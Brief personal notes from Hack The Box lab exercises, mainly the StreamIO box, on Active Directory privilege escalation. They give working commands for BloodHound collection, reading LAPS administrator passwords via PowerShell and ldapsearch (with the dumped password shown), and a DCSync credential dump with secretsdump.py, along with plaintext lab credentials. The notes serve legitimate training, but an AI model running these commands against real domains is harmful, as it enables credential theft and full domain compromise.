Collection with bloodhound.py
bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb -dc streamio.htb --zip
Help: ReadLAPSPassword
https://0xdf.gitlab.io/2022/09/17/htb-streamio.html
We are logged in to winrm as user nik337 and have valid credentials for jdgodd
jdgodd does NOT have remote access privs. so we need to
Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred
 Alternatively:
ldapsearch -H ldap://10.10.11.158 -b 'DC=streamIO,DC=htb' -x -D JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
[...]
# DC, Domain Controllers, streamIO.htb
dn: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: f#5{WjKjI)1vXg
Help: DCSync attack
secretsdump.py is capable of performing this.
┌──(root㉿kali)-[~]
└─# secretsdump.py egotistical-bank/svc_loanmgr@10.10.10.75 -just-dc-user Administrator